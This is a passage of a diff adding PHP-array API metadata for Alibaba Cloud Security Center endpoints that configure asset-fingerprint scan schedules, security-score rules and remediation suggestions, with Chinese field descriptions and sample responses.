'资产指纹自动采集频率是否修改成功。取值：'."\n" + ."\n" + .'- **true**：修改成功'."\n" + .'- **false**：修改失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'C0D1DF51-D879-55A8-B6C7-7D3B913EF34D', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"ModifyResult\\": true,\\n \\"RequestId\\": \\"C0D1DF51-D879-55A8-B6C7-7D3B913EF34D\\"\\n}","errorExample":""},{"type":"xml","example":"\\n true\\n C0D1DF51-D879-55A8-B6C7-7D3B913EF34D\\n","errorExample":""}]', + 'title' => '修改资产指纹采集的频率', + ], + 'DescribePropertyScheduleConfig' => [ + 'summary' => '查询资产指纹定时任务的配置信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '自动采集频率的资产指纹的类型。取值：'."\n" + ."\n" + .'- **scheduler\\_port_period**：监听端口'."\n" + .'- **scheduler\\_process_period**：运行进程'."\n" + .'- **scheduler\\_account_period**：账号资产'."\n" + .'- **scheduler\\_software_period**：软件资产'."\n" + .'- **scheduler\\_cron_period**：计划任务'."\n" + .'- **scheduler\\_sca_period**：中间件'."\n" + .'- **scheduler\\_autorun_period**：启动项'."\n" + .'- **scheduler\\_lkm_period**：内核模块'."\n" + .'- **scheduler\\_sca\\_proxy_period**：Web站点', + 'type' => 'string', + 'required' => true, + 'enumValueTitles' => [], + 'example' => 'scheduler_autorun_period', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '配置信息。', + 'type' => 'object', + 'properties' => [ + 'Config' => [ + 'description' => '配置时间。单位：小时。'."\n" + ."\n" + .'> 该值为**0**时，表示关闭了该类型的资产指纹扫描。', + 'type' => 'string', + 'example' => '3', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Config\\": \\"3\\",\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\"\\n}","type":"json"}]', + 'title' => '获取资产指纹定时任务配置', + ], + 'GetSecurityScoreRule' => [ + 'summary' => '查询自定义安全评分规则详情。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '182574', + 'abilityTreeNodes' => [ + 'FEATUREsasJODUMM', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'CalType', + 'in' => 'query', + 'schema' => [ + 'description' => '选择查询新版安全分或旧版安全分规则，当取值为**home_security_score**时，查询新版安全分规则，否则默认查询旧版安全分规则。', + 'type' => 'string', + 'required' => false, + 'example' => 'home_security_score', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', + ], + 'SecurityScoreRuleList' => [ + 'description' => '旧版安全分规则列表。', + 'type' => 'array', + 'items' => [ + 'description' => '安全分规则数据。', + 'type' => 'object', + 'properties' => [ + 'RuleType' => [ + 'description' => '安全分规则类型。取值：'."\n" + .'- SS_REINFORCE：关键功能配置。'."\n" + .'- SS_ALARM： 待处理告警。'."\n" + .'- SS_VUL：待修复漏洞。'."\n" + .'- SS_HC： 基线问题。'."\n" + .'- SS_CLOUD_HC：云平台配置检测项问题。'."\n" + .'- SS_AK：存在AK泄露风险。', + 'type' => 'string', + 'example' => 'SS_ALARM', + ], + 'Score' => [ + 'description' => '安全分规则扣分值。'."\n" + ."\n" + .'> 可配置范围为0～100分，所有安全分规则扣分阈值总和要等于100分。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'Title' => [ + 'description' => '安全分规则描述。', + 'type' => 'string', + 'example' => 'Unhandled Alerts', + ], + 'SecurityScoreItemList' => [ + 'description' => '安全分规则扣分单项列表。', + 'type' => 'array', + 'items' => [ + 'description' => '安全分规则扣分单项数据。', + 'type' => 'object', + 'properties' => [ + 'SubRuleType' => [ + 'description' => '安全分扣分单项子规则类型。安全分类型与安全分扣分单项子规则类型的关系如下：'."\n" + .'- SS_REINFORCE：关键功能配置。'."\n" + .' - XPRESS_INSTALL：未开启云安全中心服务授权。'."\n" + .' - REINFORCE_SUSPICIOUS：未开启防病毒功能。'."\n" + .' - RANSOMWARE：未开启防勒索策略。'."\n" + .' - WEB_LOCK：未开启网页防篡改功能。'."\n" + .' - VIRUS_SCHEDULE_SCAN：未开启周期病毒扫描策略。'."\n" + .' - IMAGE_REPO_SCAN：未配置容器镜像扫描范围。'."\n" + .' - IMAGE_SCAN_TASK：未执行一键扫描容器镜像安全风险。'."\n" + ."\n" + .'- SS_ALARM： 待处理告警。'."\n" + .' - ALARM_SERIOUS：存在一个未处理的高危告警事件。'."\n" + .' - ALARM_SUSPICIOUS：存在一个未处理的中危告警事件。'."\n" + .' - ALARM_REMIND：存在一个未处理的低危告警事件。'."\n" + ."\n" + .'- SS_VUL：待修复漏洞。'."\n" + .' - CMS_UNFIX：存在一个未修复的CMS漏洞。'."\n" + .' - WIN_UNFIX：存在一个未修复的Windows主机漏洞。'."\n" + .' - CVE_UNFIX：存在一个未修复的Linux主机漏洞。'."\n" + .' - ERM_UNFIX：存在一个未修复的应急漏洞。'."\n" + .' - ERM_UNCHECK：存在一个未检测的应急漏洞。'."\n" + ."\n" + .'- SS_HC： 基线问题。'."\n" + .' - WEAK_EXPLOIT：存在公网暴露的弱口令风险。'."\n" + .' - WEAK_PASSWORD：存在弱口令风险。'."\n" + .' - HC_EXPLOIT：存在高危可被入侵的风险。'."\n" + .' - HC_OTHER_WARNING：存在安全配置风险。'."\n" + ."\n" + .'- SS_CLOUD_HC：云平台配置检测项问题。'."\n" + .' - CSPM_CIEM_NOT_PASS：存在一个未通过的CIEM检查项。'."\n" + .' - CSPM_RISK_NOT_PASS：存在一个未通过的安全风险检查项。'."\n" + .' - CSPM_COMPLIANCE_NOT_PASS：存在一个未通过的合规检查项。'."\n" + ."\n" + .'- SS_AK：存在AK泄露风险。', + 'type' => 'string', + 'example' => 'ALARM_SERIOUS', + ], + 'Score' => [ + 'description' => '单项扣分值。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'ScoreThreshold' => [ + 'description' => '单项扣分阈值。'."\n" + ."\n" + .'> 可配置范围为0～安全分规则扣分阈值。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'Title' => [ + 'description' => '安全分扣分单项子规则类型描述。', + 'type' => 'string', + 'example' => 'Unhandled Urgent Alert Event Exists', + ], + ], + ], + ], + ], + ], + ], + 'EnableStatus' => [ + 'description' => '自定义安全评分规则启用状态。'."\n" + .'- true：已启用。'."\n" + .'- false： 未启用。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'SecurityScoreCategoryList' => [ + 'description' => '新版安全分规则列表。', + 'type' => 'array', + 'items' => [ + 'description' => '安全分规则数据。', + 'type' => 'object', + 'properties' => [ + 'SecurityRuleList' => [ + 'description' => '安全分规则类型扣分列表。', + 'type' => 'array', + 'items' => [ + 'description' => '安全分规则类型数据。', + 'type' => 'object', + 'properties' => [ + 'RuleType' => [ + 'description' => '安全分规则类型。', + 'type' => 'string', + 'example' => 'SS_AI_RISK', + ], + 'Score' => [ + 'description' => '安全分规则类型扣分阈值。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'Title' => [ + 'description' => '安全分规则类型名称。', + 'type' => 'string', + 'example' => 'AI应用风险'."\n", + ], + 'SecurityScoreItemList' => [ + 'description' => '安全分规则子项扣分列表。', + 'type' => 'array', + 'items' => [ + 'description' => '安全分规则子项数据。', + 'type' => 'object', + 'properties' => [ + 'SubRuleType' => [ + 'description' => '安全分规则子项的类型。'."\n" + ."\n" + .'- **SS_SAS_WEAK_PW**：待修复弱口令'."\n" + .'- **SS_SAS_ALARM**：云安全中心待处理告警'."\n" + .'- **SS_SAS_EMG_VUL**：待修复应急漏洞'."\n" + .'- **SS_SAS_APP_VUL**：待修复应用漏洞'."\n" + .'- **SS_SAS_SYS_VUL**：待修复系统漏洞'."\n" + .'- **SS_SAS_CLOUD_HC**：待处理云态势安全管理风险'."\n" + .'- **SS_SDDP_DATA_RISK**：待治理数据安全风险'."\n" + .'- **SS_WAF_API_RISK**：待处理API安全风险'."\n" + .'- **SS_DDOS_BH_ASSET**：DDoS黑洞中资产'."\n" + .'- **SS_SAS_AK_LEAK**：未处理AK/SK泄漏事件'."\n" + .'- **SS_PRODUCT_CONNECT**：安全产品未正常接入'."\n" + .'- **SS_KEY_CONFIG**：关键功能配置'."\n" + .'- **SS_PRODUCT_EXPIRE**：即将到期产品'."\n" + .'- **SS_AI_RISK**：AI应用风险', + 'type' => 'string', + 'example' => 'SSI_AI_VUL_RISK', + ], + 'Score' => [ + 'description' => '单项扣分分数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'ScoreThreshold' => [ + 'description' => '单项扣分阈值。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'Title' => [ + 'description' => '安全分规则子项名称。', + 'type' => 'string', + 'example' => '存在未修复应用漏洞', + ], + ], + ], + ], + ], + ], + ], + 'Category' => [ + 'description' => '安全分规则类目，取值：'."\n" + .'- **SS_SAS_HANDLE**：安全治理'."\n" + .'- **SS_SAS_RESPOND**：安全响应', + 'type' => 'string', + 'example' => 'SS_SAS_HANDLE', + ], + 'Score' => [ + 'description' => '安全分规则类目扣分阈值。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '30', + ], + 'Title' => [ + 'description' => '安全分规则类目名称。', + 'type' => 'string', + 'example' => '安全治理', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\",\\n \\"SecurityScoreRuleList\\": [\\n {\\n \\"RuleType\\": \\"SS_ALARM\\",\\n \\"Score\\": 20,\\n \\"Title\\": \\"Unhandled Alerts\\",\\n \\"SecurityScoreItemList\\": [\\n {\\n \\"SubRuleType\\": \\"ALARM_SERIOUS\\",\\n \\"Score\\": 3,\\n \\"ScoreThreshold\\": 5,\\n \\"Title\\": \\"Unhandled Urgent Alert Event Exists\\"\\n }\\n ]\\n }\\n ],\\n \\"EnableStatus\\": true,\\n \\"SecurityScoreCategoryList\\": [\\n {\\n \\"SecurityRuleList\\": [\\n {\\n \\"RuleType\\": \\"SS_AI_RISK\\",\\n \\"Score\\": 10,\\n \\"Title\\": \\"AI应用风险\\\\n\\",\\n \\"SecurityScoreItemList\\": [\\n {\\n \\"SubRuleType\\": \\"SSI_AI_VUL_RISK\\",\\n \\"Score\\": 5,\\n \\"ScoreThreshold\\": 10,\\n \\"Title\\": \\"存在未修复应用漏洞\\"\\n }\\n ]\\n }\\n ],\\n \\"Category\\": \\"SS_SAS_HANDLE\\",\\n \\"Score\\": 30,\\n \\"Title\\": \\"安全治理\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询自定义安全评分规则详情', + ], + 'ChangeSecurityScoreRule' => [ + 'summary' => '修改自定义安全评分规则。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '182573', + 'abilityTreeNodes' => [ + 'FEATUREsasJODUMM', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'SecurityScoreRuleList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '旧版安全分规则列表。', + 'type' => 'array', + 'items' => [ + 'description' => '安全分规则数据。', + 'type' => 'object', + 'properties' => [ + 'RuleType' => [ + 'description' => '安全分规则类型。取值：'."\n" + .'- SS_REINFORCE：关键功能配置。'."\n" + .'- SS_ALARM： 待处理告警。'."\n" + .'- SS_VUL：待修复漏洞。'."\n" + .'- SS_HC： 基线问题。'."\n" + .'- SS_CLOUD_HC：云平台配置检测项问题。'."\n" + .'- SS_AK：存在AK泄露风险。', + 'type' => 'string', + 'required' => false, + 'example' => 'SS_ALARM', + ], + 'Score' => [ + 'description' => '安全分规则扣分值。'."\n" + ."\n" + .'> 可配置范围为0～100分，所有安全分规则扣分阈值总和要等于100分。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'maximum' => '100', + 'minimum' => '0', + 'example' => '5', + ], + 'SecurityScoreItemList' => [ + 'description' => '安全分规则扣分单项列表。', + 'type' => 'array', + 'items' => [ + 'description' => '安全分规则扣分单项数据。', + 'type' => 'object', + 'properties' => [ + 'SubRuleType' => [ + 'description' => '安全分扣分单项子规则类型。安全分类型与安全分扣分单项子规则类型的关系如下：'."\n" + .'- SS_REINFORCE：关键功能配置。'."\n" + .' - XPRESS_INSTALL：未开启云安全中心服务授权。'."\n" + .' - REINFORCE_SUSPICIOUS：未开启防病毒功能。'."\n" + .' - RANSOMWARE：未开启防勒索策略。'."\n" + .' - WEB_LOCK：未开启网页防篡改功能。'."\n" + .' - VIRUS_SCHEDULE_SCAN：未开启周期病毒扫描策略。'."\n" + .' - IMAGE_REPO_SCAN：未配置容器镜像扫描范围。'."\n" + .' - IMAGE_SCAN_TASK：未执行一键扫描容器镜像安全风险。'."\n" + ."\n" + .'- SS_ALARM： 待处理告警。'."\n" + .' - ALARM_SERIOUS：存在一个未处理的高危告警事件。'."\n" + .' - ALARM_SUSPICIOUS：存在一个未处理的中危告警事件。'."\n" + .' - ALARM_REMIND：存在一个未处理的低危告警事件。'."\n" + ."\n" + .'- SS_VUL：待修复漏洞。'."\n" + .' - CMS_UNFIX：存在一个未修复的CMS漏洞。'."\n" + .' - WIN_UNFIX：存在一个未修复的Windows主机漏洞。'."\n" + .' - CVE_UNFIX：存在一个未修复的Linux主机漏洞。'."\n" + .' - ERM_UNFIX：存在一个未修复的应急漏洞。'."\n" + .' - ERM_UNCHECK：存在一个未检测的应急漏洞。'."\n" + ."\n" + .'- SS_HC： 基线问题。'."\n" + .' - WEAK_EXPLOIT：存在公网暴露的弱口令风险。'."\n" + .' - WEAK_PASSWORD：存在弱口令风险。'."\n" + .' - HC_EXPLOIT：存在高危可被入侵的风险。'."\n" + .' - HC_OTHER_WARNING：存在安全配置风险。'."\n" + ."\n" + .'- SS_CLOUD_HC：云平台配置检测项问题。'."\n" + .' - CSPM_CIEM_NOT_PASS：存在一个未通过的CIEM检查项。'."\n" + .' - CSPM_RISK_NOT_PASS：存在一个未通过的安全风险检查项。'."\n" + .' - CSPM_COMPLIANCE_NOT_PASS：存在一个未通过的合规检查项。'."\n" + ."\n" + .'- SS_AK：存在AK泄露风险。', + 'type' => 'string', + 'required' => false, + 'example' => 'ALARM_SERIOUS', + ], + 'ScoreThreshold' => [ + 'description' => '单项扣分阈值。'."\n" + ."\n" + .'> 可配置范围为0～安全分规则扣分阈值。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'maximum' => '100', + 'minimum' => '0', + 'example' => '10', + ], + 'Score' => [ + 'description' => '单项扣分值。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '5', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 10, + ], + ], + [ + 'name' => 'SecurityScoreCategoryList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '新版安全分规则扣分列表。', + 'type' => 'array', + 'items' => [ + 'description' => '安全分规则数据。', + 'type' => 'object', + 'properties' => [ + 'Category' => [ + 'description' => '安全分规则类目。取值：'."\n" + .'- **SS_SAS_HANDLE**：安全治理'."\n" + .'- **SS_SAS_RESPOND**：安全响应', + 'type' => 'string', + 'required' => false, + 'example' => 'SS_SAS_HANDLE', + ], + 'ScoreThreshold' => [ + 'description' => '安全分规则类目扣分阈值。'."\n" + ."\n\n" + ."\n" + .'> 可配置范围为0～100分，所有安全分规则类目扣分阈值总和要等于100分。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + 'SecurityRuleList' => [ + 'description' => '安全分规则类型扣分列表。', + 'type' => 'array', + 'items' => [ + 'description' => '安全分规则类型数据。', + 'type' => 'object', + 'properties' => [ + 'RuleType' => [ + 'description' => '安全分规则类型。安全分规则子项的类型。'."\n" + ."\n" + .'- **SS_SAS_WEAK_PW**：待修复弱口令'."\n" + .'- **SS_SAS_ALARM**：云安全中心待处理告警'."\n" + .'- **SS_SAS_EMG_VUL**：待修复应急漏洞'."\n" + .'- **SS_SAS_APP_VUL**：待修复应用漏洞'."\n" + .'- **SS_SAS_SYS_VUL**：待修复系统漏洞'."\n" + .'- **SS_SAS_CLOUD_HC**：待处理云态势安全管理风险'."\n" + .'- **SS_SDDP_DATA_RISK**：待治理数据安全风险'."\n" + .'- **SS_WAF_API_RISK**：待处理API安全风险'."\n" + .'- **SS_DDOS_BH_ASSET**：DDoS黑洞中资产'."\n" + .'- **SS_SAS_AK_LEAK**：未处理AK/SK泄漏事件'."\n" + .'- **SS_PRODUCT_CONNECT**：安全产品未正常接入'."\n" + .'- **SS_KEY_CONFIG**：关键功能配置'."\n" + .'- **SS_PRODUCT_EXPIRE**：即将到期产品'."\n" + .'- **SS_AI_RISK**：AI应用风险', + 'type' => 'string', + 'required' => false, + 'example' => 'SS_REINFORCE', + ], + 'Score' => [ + 'description' => '安全分规则类型扣分阈值。'."\n" + ."\n" + .'> 可配置范围为0～安全分规则类目扣分阈值。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '10', + ], + 'SecurityScoreItemList' => [ + 'description' => '安全分规则子项扣分列表。', + 'type' => 'array', + 'items' => [ + 'description' => '安全分规则子项数据。', + 'type' => 'object', + 'properties' => [ + 'SubRuleType' => [ + 'description' => '安全分规则子项。', + 'type' => 'string', + 'required' => false, + 'example' => 'SSI_KEY_CONFIG', + ], + 'Score' => [ + 'description' => '单项扣分值。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '2', + ], + 'ScoreThreshold' => [ + 'description' => '单项扣分阈值。'."\n" + ."\n" + .'> 可配置范围为0～安全分规则类型扣分阈值。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '5', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 10, + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 20, + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 5, + ], + ], + [ + 'name' => 'ResetSecurityScoreRule', + 'in' => 'query', + 'schema' => [ + 'description' => '是否重置为系统默认规则。取值：'."\n" + .'- true ：是'."\n" + .'- false ：否', + 'type' => 'boolean', + 'required' => false, + 'example' => 'false', + ], + ], + [ + 'name' => 'CalType', + 'in' => 'query', + 'schema' => [ + 'description' => '选择修改新版安全分或旧版安全分规则，当取值为**home_security_score**时，修改新版安全分规则，否则默认修改旧版安全分规则。', + 'type' => 'string', + 'required' => false, + 'example' => 'home_security_score', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '23AD0BD2-8771-5647-819E-6BA51E21****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"23AD0BD2-8771-5647-819E-6BA51E21****\\"\\n}","type":"json"}]', + 'title' => '修改自定义安全评分规则', + ], + 'DescribeSecureSuggestion' => [ + 'summary' => '查询安全分相关的安全风险的处理建议详情。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92188', + 'abilityTreeNodes' => [ + 'FEATUREsasJODUMM', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '192.168.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'CalType', + 'in' => 'query', + 'schema' => [ + 'description' => '选择查询新版安全分或旧版安全分规则，当取值为**home_security_score**时，查询新版安全分规则，否则默认查询旧版安全分规则。', + 'type' => 'string', + 'required' => false, + 'example' => 'home_security_score', + ], + ], + [ + 'name' => 'Source', + 'in' => 'query', + 'schema' => [ + 'description' => '安全分来源，传空默认为云安全中心，枚举值：'."\n" + ."\n" + .'- 0：云安全中心。'."\n" + ."\n" + .'- 1：瑶池控制台。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录成员账号ID（阿里云账号）。'."\n" + .'>调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1232428423234****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '676F80E3-4B3F-43DA-9CBB-5FF79F202AA2', + ], + 'TotalCount' => [ + 'description' => '待加固的安全风险的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '15', + ], + 'Score' => [ + 'description' => '安全分分数。', + 'type' => 'string', + 'example' => '95', + ], + 'CalTime' => [ + 'description' => '安全分计算时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1755744253000', + ], + 'Suggestions' => [ + 'description' => '安全风险处理列表。', + 'type' => 'array', + 'items' => [ + 'description' => '安全风险处理列表。', + 'type' => 'object', + 'properties' => [ + 'Points' => [ + 'description' => '单个扣分项的扣分值。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '40', + ], + 'SuggestType' => [ + 'description' => '待处理的安全风险的类型。取值：'."\n" + .'- **SS_REINFORCE**：关键功能未配置（例如：恶意主机行为防御）'."\n" + .'- **SS_ALARM**：待处理告警'."\n" + .'- **SS_VUL**：待修复漏洞'."\n" + .'- **SS_HC**：基线问题'."\n" + .'- **SS_AK**：AK泄露问题 '."\n" + .'- **SS\\_CLOUD_HC**：云平台配置风险'."\n" + .'- **OTHER**：其他', + 'type' => 'string', + 'example' => 'SS_ALARM', + ], + 'Detail' => [ + 'description' => '安全风险处理建议的详情。', + 'type' => 'array', + 'items' => [ + 'description' => '安全风险处理建议的详情。', + 'type' => 'object', + 'properties' => [ + 'Title' => [ + 'description' => '安全风险待处理项的名称。', + 'type' => 'string', + 'example' => 'Website tamper-proofing capability not configured', + ], + 'Description' => [ + 'description' => '安全风险处理建议的描述。', + 'type' => 'string', + 'example' => 'Malicious tampering of Web pages will affect your normal access to web page content, and may also lead to serious economic losses, brand losses, and even political risks. The webpage tamper-proof service can monitor the website directory in real time and restore the tampered files or directories through backup, so as to ensure that the website information of important systems is not tampered with maliciously and prevent the occurrence of horse hanging, black chain, illegal implantation of terrorist threats, pornography and other content.', + ], + 'SubType' => [ + 'description' => '安全风险待处理项的类型。取值包含：'."\n" + .''."\n" + .'- **ALARM_HIGH**：存在未处理的高危告警事件'."\n" + .'- **ALARM_MEDIUM**：存在未处理的中危告警事件'."\n" + .'- **ALARM_LOW**：存在未处理的低危告警事件'."\n" + .'- **VUL\\_EMR_UNCHECK**：存在未检测的应急漏洞'."\n" + .'- **VUL\\_EMR_UNFIX**：存在未修复的应急漏洞'."\n" + .'- **VUL_WIN**：存在未修复的Windows主机漏洞'."\n" + .'- **VUL_LINUX**：存在未修复的Linux主机漏洞'."\n" + .'- **VUL_CMS**：存在未修复的CMS漏洞'."\n" + .'- **ACCESSKEY_LEAK**：存在AK泄漏风险'."\n" + .'- **HC_WARN**：存在基线检查风险'."\n" + .'- **HC\\_WEAK\\_EXPLOIT_WARN**：存在公网暴露的弱口令风险'."\n" + .'- **HC\\_WEAK\\_PASSWORD_WARN**：存在弱口令风险'."\n" + .'- **HC\\_HIGH\\_EXPLOIT_WARN**：存在高危可被入侵的风险'."\n" + .'- **HC\\_OTHER_WARN**：存在安全配置风险'."\n" + .'- **HC\\_DATABASE_WARN**：数据库存在安全风险'."\n" + .'- **CLOUD\\_HC\\_SAS_OPEN**：服务器未安装安全防护，存在安全风险'."\n" + .'- **CLOUD\\_HC\\_AEGIS_OFFLINE**：服务器保护状态为离线'."\n" + .'- **CLOUD\\_HC\\_ACCOUNT\\_DOUBLE_CHECK**：主账号未开启双因素认证，账号存在安全风险'."\n" + .'- **CLOUD\\_HC_RDS**：RDS-数据库安全策略检查未通过，存在安全风险'."\n" + .'- **CLOUD\\_HC_DDOS**：DDoS高防回源配置检查未通过，存在安全风险'."\n" + .'- **CLOUD\\_HC\\_HIGH_LEVEL**：云产品配置存在高危风险'."\n" + .'- **CLOUD\\_HC\\_OTHER_LEVEL**：云产品配置存在中低危风险'."\n" + .'- **OTHER_ATTACH**：存在攻击事件'."\n" + .'- **OTHER\\_DATABASE_ATTACH**：数据库存在安全风险'."\n" + .'- **REINFORCE_BASELINE**：云平台配置检查'."\n" + .'- **REINFORCE_SUSPICIOUS**：防病毒功能'."\n" + .'- **REINFORCE_ANALYSIS**：日志分析'."\n" + .'- **REINFORCE\\_AK_LEAK**：AccessKey泄露情报检测'."\n" + .'- **REINFORCE\\_WEB_LOCK**：未开启网页防篡改功能'."\n" + .'- **REINFORCE\\_BRUTE_FORCE**：防暴力破解'."\n" + .'- **REINFORCE\\_XPRESS_INSTALL**：一键安装客户端'."\n" + .'- **REINFORCE_RANSOMWARE**：开启防勒索策略'."\n" + .'- **REINFORCE\\_UNI_RANSOMWARE**：数据库防勒索'."\n" + .'- **REINFORCE\\_VIRUS\\_SCHEDULE_SCAN**：未开启周期病毒扫描策略'."\n" + .'- **REINFORCE\\_IMAGE\\_REPO_SCAN**：未配置容器镜像扫描范围'."\n" + .'- **REINFORCE\\_IMAGE\\_SCAN_TASK**：一键扫描容器镜像安全风险'."\n" + .'- **REINFORCE\\_K8S\\_LOG_ANALYSIS**：未开启K8s威胁检测'."\n" + .'- **REINFORCE\\_CONTAINER_NETWORK**：容器可视化'."\n" + .''."\n" + ."\n" + .''."\n" + .'- **ALARM_HIGH**：Unhandled Urgency Alerts'."\n" + .'- **ALARM_MEDIUM**：Unhandled Warning Alerts'."\n" + .'- **ALARM_LOW**：Unhandled Reminder Alerts'."\n" + .'- **VUL\\_EMR_UNCHECK**：Unchecked Urgent Vulnerabilities'."\n" + .'- **VUL\\_EMR_UNFIX**：Unfixed Urgent Vulnerabilities'."\n" + .'- **VUL_WIN**：Unfixed Windows Server Vulnerabilities'."\n" + .'- **VUL_LINUX**：Unfixed Linux Server Vulnerabilities'."\n" + .'- **VUL_CMS**：Unfixed CMS 